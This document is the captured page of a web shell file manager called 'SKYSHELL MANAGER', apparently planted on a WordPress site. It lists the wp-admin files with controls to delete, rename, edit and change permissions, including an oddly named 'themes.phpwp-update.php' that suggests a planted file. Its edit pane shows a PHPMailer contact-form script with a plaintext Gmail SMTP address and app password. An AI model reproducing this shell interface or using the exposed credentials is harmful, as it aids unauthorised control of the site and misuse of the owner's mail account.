📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-functions.php
0.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-advanced.php
28.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-tags.php
21.98 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tools.php
3.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets.php
1.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: cont.php
<?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; // Require PHPMailer files require_once __DIR__ . '/../vendor/phpmailer/src/PHPMailer.php'; require_once __DIR__ . '/../vendor/phpmailer/src/SMTP.php'; require_once __DIR__ . '/../vendor/phpmailer/src/Exception.php'; // Check if the form is submitted $response = ''; if (isset($_POST['email']) && !empty($_POST['email'])) { $email = htmlspecialchars($_POST['email']); $name = htmlspecialchars($_POST['name'] ?? ''); $message = htmlspecialchars($_POST['message'] ?? ''); try { // Initialize PHPMailer for the first email $mail = new PHPMailer(true); $mail->isSMTP(); $mail->Host = 'smtp.gmail.com'; $mail->SMTPAuth = true; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 587; $mail->Username = 'contact@fixburnfat.com'; // YOUR Gmail/SMTP email $mail->Password = 'jpsfvvzncuykazwt'; // YOUR Gmail/SMTP app password $mail->setFrom('contact@fixburnfat.com', 'FixBurnFat'); $mail->addAddress($email, $name); $mail->addReplyTo('contact@fixburnfat.com', 'FixBurnFat'); // Email content for the user $mail->IsHTML(true); $mail->Subject = "Contact Replay"; $mail->Body=' <body style="margin:0; padding:0; background-color:#f1f2f5; font-family:Roboto, Arial, sans-serif; color:#1e3557;"> <table role="presentation" width="100%" border="0" cellspacing="0" cellpadding="0" style="background-color:#f1f2f5; margin:0; padding:0; margin-bottom:30px;"> <tr> <td align="center" style="padding:0; margin:0;"> <table role="presentation" width="600" border="0" cellspacing="0" cellpadding="0" style="background-color:#ed563b; padding:40px 0; margin-top:30px;"> <tr><td></td></tr> </table> <table role="presentation" width="600" border="0" cellspacing="0" cellpadding="0" style="background-color:#ffffff; border-radius:6px; max-width:600px; width:100%;"> <tr> <td align="center" style="padding:20px 20px;"> <table role="presentation" width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td align="center" style="padding:20px 0;"> <h3 style="font-size: 22px;">FixBurnFat</h3> </td> </tr> </table> <table role="presentation" width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td align="left" style="font-size:14px; line-height:22px; color:#1e3557;"> <p style="margin:0 0 15px 0;"><b>Hi '.$name.',</b></p> <p style="margin:0 0 15px 0;"> Thank you for reaching out to us through FixBurnFat. </p> <p style="margin:0 0 15px 0;"> We have received your message and truly appreciate you taking the time to contact us. Our team is currently reviewing your inquiry, and we will get back to you as soon as possible with the relevant information. </p> <p style="margin:0 0 15px 0;"> If your request is urgent, please feel free to reply to this email or contact us directly using the details provided on our website. </p> <p style="margin:0;"><b>Warm regards,</b><br><b>FixBurnFat</b></p> </td> </tr> </table> <table role="presentation" width="100%" border="0" cellspacing="0" cellpadding="0" style="margin-top:30px;"> <tr> <td align="center" style="font-size:12px; color:#566881;"> <p style="margin:0 0 10px 0;"> You are receiving this email because you contact FixBurnFat. </p> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </body>'; // Send the email to the user if ($mail->send()) { $response = "Thank you for subscribed our newsletter."; } else { $response = "Unable to send the email."; } // Initialize PHPMailer for the admin notification email $mail2 = new PHPMailer(true); // SMTP settings for the admin notification email $mail2->isSMTP(); $mail2->Host = 'smtp.gmail.com'; $mail2->SMTPAuth = true; $mail2->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail2->Port = 587; $mail2->Username = 'contact@fixburnfat.com'; $mail2->Password = 'jpsfvvzncuykazwt'; $mail2->setFrom('contact@fixburnfat.com', 'FixBurnFat'); $mail2->addAddress('contact@fixburnfat.com', 'FixBurnFat'); // Email content for the admin $mail2->IsHTML(true); $mail2->Subject = "Contact Details"; $mail2->Body=' <body style="margin:0; padding:0; background-color:#f1f2f5; font-family:Roboto, Arial, sans-serif; color:#1e3557;"> <table role="presentation" width="100%" border="0" cellspacing="0" cellpadding="0" style="background-color:#f1f2f5; margin:0; padding:0; margin-bottom:30px;"> <tr> <td align="center" style="padding:0; margin:0;"> <table role="presentation" width="600" border="0" cellspacing="0" cellpadding="0" style="background:linear-gradient(80deg, rgb(42,204,222) 0%, rgb(214,83,119) 50%, rgb(130,33,215) 100%); padding:40px 0; margin-top:30px;"> <tr><td></td></tr> </table> <table role="presentation" width="600" border="0" cellspacing="0" cellpadding="0" style="background-color:#ffffff; border-radius:6px; max-width:600px; width:100%;"> <tr> <td align="center" style="padding:20px 20px;"> <table role="presentation" width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td align="center" style="padding:20px 0;"> <h3 style="font-size: 22px;">FixBurnFat</h3> </td> </tr> </table> <table role="presentation" width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td align="left" style="font-size:14px; line-height:22px; color:#1e3557;"> <p style="margin:0 0 15px 0;"><b>contact details,</b></p> <p style="margin:0 0 15px 0;"> Following user has submitted their contact details: </p> <p style="margin:0 0 15px 0;"> Name: '.$name.' <br> Email: '.$email.' <br> Message: '.$message.' </p> <p style="margin:0;">Regards,<br>FixBurnFat</p> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </body>'; // Send the notification email to the admin $mail2->send(); } catch (Exception $e) { $response = "Error: " . $mail->ErrorInfo; } } else { $response = "All fields are required, please fill the form again."; } // Return the response as plain text echo $response; ?>
Save